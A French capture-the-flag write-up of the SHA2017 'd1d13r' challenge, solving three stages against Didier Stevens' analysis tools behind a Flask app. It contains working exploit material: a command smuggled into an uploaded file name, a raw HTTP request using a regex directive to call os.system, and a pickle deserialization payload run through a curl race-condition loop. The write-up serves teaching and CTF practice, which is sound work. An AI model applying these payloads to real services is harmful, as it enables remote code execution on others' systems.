/ SHA2017CTF

SHA2017 CTF - d1d13r (pwnable 300)

Énoncé

We stumbled upon a couple of generic purpose tools with sp3c14l capabilities. Can you abuse those?

Ce challenge se déroulera en 3 parties. Le but est d'exploiter des failles dans des outils.

on obtient tout de suite le code source de l'application :

import glob
import os
import subprocess
import tempfile
from flask import request, Flask, abort
from werkzeug.utils import secure_filename

os.chdir("/home/d1d13rp1")
app = application = Flask("d1d13rp1")
tempdir = tempfile.mkdtemp("d1d13rp1")
password = "you'll be needing this one!"

class tempfile(str):
    """Remove temporary file once the variable goes out of scope."""

    def __del__(self):
        os.unlink(self)

    def save(f):
        """Store temporary file, which is wiped once the request finishes."""
        filename = os.path.basename(f.filename)
        if os.path.exists(filename):
            abort(404, "file already found")
        if ".py" in filename or ".so" in filename:
            abort(403, "filename forbidden") f.save(filename)

        return tempfile(filename)

def didier(*args):
    return subprocess.check_output( ("/usr/bin/env", "python") + args, stdin=open("/dev/null", "rb") )

@app.route("/help")
def help():
    return open(__file__, "rb").read()


@app.route("/oledump-process-command")
def oledump_process_command_help():
    return ( didier("process-command.py", "--version") + didier("process-command.py", "--help") + didier("oledump.py", "--man") )

@app.route("/oledump-process-command", methods=["POST"])
def oledump_process_command():
    """https://blog.didierstevens.com/2017/07/22/oledump-py-vir/"""
    # Do HTTP headers include Basic Authentication?
    assert request.authorization.password == password
    filename = save(request.files["file"])
    return didier(
        "process-command.py", "-r",
        "oledump.py %f%", *glob.glob("*.vir")
    )

if __name__ == "__main__":
    app.run(debug=False) 

oledump.py ainsi que process-command.py sont tout les deux des outils issus de la suite d'outils de didier stevens.
La première étape du challenge sera d'injecter des commandes dans le nom de fichier passé en paramêtre de la fonction process-command.
*glob.glob("*.vir") nous indique que l'extension de notre fichier doit être .vir. En passant a Burp Content-Disposition: form-data; name="file"; filename="demo.vir" nous permet d'avoir le retour de la commande, en le modifiant par Content-Disposition: form-data; name="file"; filename="demo; ls ;demo.vir" on peut voir que notre ls s'execute

on trouve un fichier readme qui nous indique :

Good job! You'll find the next challenge, named "d1d13rp2", at port 9002.
You'll be needing the following password:
   "good job! can you also exploit this tool?"

2éme partie

Le principe reste le même, on dispose d'un nouveau code source qui va utiliser un nouvel outil : re-search. Il qui permet de chercher des occurences d'une certaine expression régulière dans un fichier.

En lisant la doc on trouve une fonctionnalité intéressante :

Python function matching is defined via directive P (Python). If you want to validate a string with a Python function, you use the following regular expression comment: (?#extra=P:Validate). Validate is a Python function that takes a string as argument and returns a boolean: True for a match and False if there is no match. You can provide your custom Python function(s) in a file via option --script or as a commandline argument via option --execute.

on va pouvoir forger une regexp qui - une fois interprétée - nous permettra d'executer du code !
on peut choisir d'utiliser la fonction os.system pour valider les inputs, avec la regexp (?#extra=P:os.system).+ ainsi on a plus qu'à envoyer un fichier qui contiendra nos commandes.

POST /re-search HTTP/1.1
Host: d1d13r.stillhackinganyway.nl:9001
Authorization: Basic YWRtaW46Z29vZCBqb2IhIGNhbiB5b3UgYWxzbyBleHBsb2l0IHRoaXMgdG9vbD8=
User-Agent: curl/7.54.1
Accept: */*
Content-Length: 255
Expect: 100-continue
Content-Type: multipart/form-data; boundary=--------110662176
Connection: close

----------110662176
Content-Disposition: form-data; name="file"; filename="TEST"
Content-Type: application/octet-stream

cat readme

----------110662176
Content-Disposition: form-data; name="regex"

(?#extra=P:os.system).+
----------110662176--

3ème partie

voici le code de la 3ème partie

@app.route("/strings", methods=["POST"])
def strings():
    # Do HTTP headers include Basic Authentication?
    #assert request.authorization.password == password
    filename = save(request.files["file"])
    return didier("strings.py", filename)

cette fois ci c'est l'outils strings.py qu'il faudra abuser. L'une des fonctions interessante est l'option -g :

def LoadGoodwareStrings():
    filename = os.path.join(os.path.dirname(sys.argv[0]), FILENAME_GOODWAREDB)
    try:
        fDB = gzip.GzipFile(filename, 'rb')
    except:
        print('Error opening goodware strings DB file: %s' % filename)
        return None
    collection = pickle.loads(fDB.read())
    fDB.close()
    return collection

cette fonction cherche dans le dossier courant un fichier good-strings.db au format gzip, puis passe son contenu dans la fonction pickle.loads().

il nous est possible de creer un fichier good-strings.db qui sera disponible les quelques microsecondes ou notre script sera executé, on a une race condition à exploiter, le scénario est le suivant:

  • envoyer continuellement notre fichier good-strings.db
  • envoyer continuellement un fichier nommé "-g" pour enclencher la lecture du fichier good-string.db et - via l'exploitation du pickle.loads()- executer des commandes

la création du fichier good-strings.db

class RunBinSh(object):
    def __reduce__(self):
        return (subprocess.Popen, (('cat','flag'),))
 
print cPickle.dumps(RunBinSh())
python solve.py>good-string.db
gzip good-string.db
mv good-strings.db.gz good-strings.db
while(true); do 
    curl -X POST -u "admin:excited for the following tool yet?" -F file=@good-strings.db http://d1d13r.stillhackinganyway.nl:9003/strings;
done

declencher l'exploit

notre fichier good-strings.db est maintenant présent, on peut envoyer un fichier nommé -g pour déclencher le pickle.loads() et executer des commandes

while(true); do curl -X POST -u "admin:excited for the following tool yet?" -F file=@-g 
http://d1d13r.stillhackinganyway.nl:9003/strings; done

En laissant tourner les 2 requêtes on finit par rencontrer l'instant ou l'option -g du module strings.py sera appellé alors que notre fichier good-strings.db n'as pas encore été éffacé. Nous permetant de lire le contenu du fichier "flag"